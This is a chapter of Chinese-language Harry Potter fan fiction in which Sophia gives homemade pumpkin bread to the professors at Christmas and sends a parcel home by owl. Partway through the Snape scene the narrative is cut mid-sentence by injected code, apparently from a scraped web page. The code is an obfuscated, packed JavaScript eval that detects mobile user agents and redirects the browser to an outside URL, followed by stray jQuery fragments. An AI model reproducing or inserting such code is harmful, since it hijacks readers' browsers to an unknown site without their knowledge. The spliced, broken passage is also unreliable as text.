第21章


    －－


    做得太入迷，一不小心做太多面包了。


    看着眼前堆成小山的成果，索菲亚灵机一动。圣诞节，留校的教授们也很辛苦啊！而且，这些食材都来自霍格沃茨，特别是海格慷慨提供的南瓜，这不是最好的“借花献佛”吗？


    索菲亚用干净的布包裹好面包和包子，挨个给留校的教授们送去。


    在变形术办公室门口，麦格教授打开门，麦格看到索菲亚和她递上的包裹时，严肃的脸上闪过一丝惊讶，随即露出一个温和的微笑。


    “Merry Christmas, Professor. I made some pumpkin bread. I hope you like it.”（圣诞快乐，教授。我做了一些南瓜面包，希望您喜欢。）


    “Merry Christmas, Miss Smith. How very thoughtful. Thank you.”（圣诞快乐，史密斯小姐。真是体贴。谢谢你。）麦格教授接过包裹，动作优雅，“I shall enjoy this with my tea. ”（我会配着茶享用的。）她微微颔首，关门前，索菲亚似乎看到教授嘴角的弧度又上扬了一点点，真不愧是英式传统老太太，情感内敛。


    弗立维教授听到敲门声后，办公室的门开了一条缝，索菲亚看到弗立维教授门把手一样高。看到面包，他高兴得拍起手来，声音尖细而兴奋。


    “Oh! Bless you, Miss Smith! Merry Christmas! Pumpkin bread? My favorite! Did you use the ‘Levare et Torrere’ charm? Wonderful application! Simply wonderful!”（哦！保佑你，史密斯小姐！圣诞快乐！南瓜面包？我的最爱！你用了‘升起与烘烤’咒吗？绝妙的应用！太棒了！）他拿好面包，乐呵呵地关上了门。


    在草药学温室旁的小屋，斯普劳特教授正戴着沾满泥土的手套。看到索菲亚和她带来的面包（特别是听说是用海格的南瓜做的），她高兴得哈哈大笑，给了索菲亚一个充满泥土和植物清香的拥抱。


    “Sophia, my dear! What a lovely surprise! Using Hagrid’s pumpkins? That’s the spirit! Nothing warms the heart like something homegrown and homemade! Thank you, dear! I’ll share this with the Greenhouse Gnomes!”（索菲亚，我亲爱的！真是个可爱的惊喜！用了海格的南瓜？这就对了！没有什么比自家种、亲手做的东西更能温暖人心了！谢谢你，亲爱的！我要和温室地精们分享这个！）


    接下来去找天文课的老教授，辛尼斯塔教授在天文塔顶层的办公室堆满了星图和望远镜零件。他收到面包时，先是有点迷糊地推了推眼镜，看清是索菲亚后，立刻热情地拉着她聊起了猎户座腰带三星和冬至的关系，足足讲了十分钟，才在索菲亚委婉提醒下想起道谢。


    “Ah! Young Smith! How kind! Sustenance for stargazing! You see, the alignment on Christmas Eve is particularly fascinating this year…”（啊！年轻的史密斯！太客气了！观星的能量补充！你看，今年平安夜的星象排列特别迷人……）索菲亚好不容易才脱身。


    斯内普教授这里最让索菲亚忐忑的一站。她深吸一口气，敲响了地窖旁办公室那扇冰冷的门。门无声地滑开，斯内普教授像一只巨大的蝙蝠站在阴影里，黑眼睛毫无温度地俯视着她，似乎在说，没事别理我。


    “Professor Snape… Merry Christmas. I… I made some pumpkin bread. For you.”（斯内普教授……圣诞快乐。我……我做了一些南瓜面包。给您。）索菲亚努力让自己的声音不发抖，递上包裹。


    斯内普的目光像探针一样扫过包裹，又回到索菲亚脸上，停留了好几秒。那沉默几乎让空气凝固。就在索菲亚以为他会


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15972958|177161||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    直接关门或者冷嘲热讽时，他用一种低沉、毫无波澜的语调开口：


    “Pumpkin… bread.”（南瓜……面包。）他伸出手（苍白、修长的手指），极其缓慢地接过了包裹，仿佛那里面可能藏着爆炸鼻涕虫。他甚至没有说谢谢，只是用那双深不可测的黑眼睛又瞥了索菲亚一眼，薄唇似乎极其轻微地动了一下（但那绝对不是一个笑容），然后门就在索菲亚面前无声地关上了。


    索菲亚长舒一口气，感觉后背都出了一层薄汗。虽然过程惊悚，但至少他收下了！她快步离开地窖，没听到门后，斯内普将包裹放在堆满魔药材料的桌子上，盯着它看了几秒，然后用魔杖极其谨慎地做了几个检测咒语（确认无毒无害无恶作剧魔咒），才微微挑了下眉。


    第二天，有学生路过地窖时，似乎隐约闻到了一丝极淡的、与魔药气味格格不入的香甜南瓜味。


    给教授们送完礼，索菲亚带着大大的包裹——里面是精心挑选的、品相最好的南瓜面包和她努力包好的包子（虽然有几个露馅了），还有一封写满了对家人思念和霍格沃茨新奇经历的信——来到了猫头鹰棚屋。


    寒风从棚屋敞开的窗户灌入，吹动着几百只猫头鹰的羽毛。索菲亚找到了一只熟悉的、看起来很健壮的褐色谷仓猫头鹰，它之前帮她送过信回家。


    “Hello there, sturdy fellow.” 索菲亚轻轻抚摸着它顺滑的羽毛，将包裹仔细系在它的腿上，又把写有地址的纸条塞进绑带里，“This is for my family. Smiths. 17 Cram Alley, East London. Please, wait for a reply before you leave. It’s the Christmas present.”（你好啊，强壮的家伙。这是给我家人的。史密斯一家。伦敦东区克拉姆巷17号。请务必等到回信再离开。这是圣诞节礼物。）真是迫不及待地想看到家人呐，但回家就不能使用魔法了，自己还很担心田里的菜苗苗。


    猫头鹰似乎听懂了，吃完索菲亚带来的粮食，用喙轻轻啄了啄她的手，发出咕咕的安慰声。它展开有力的翅膀，迎着寒风和飘落的雪花，带上大大的包裹，飞向了伦敦的方向。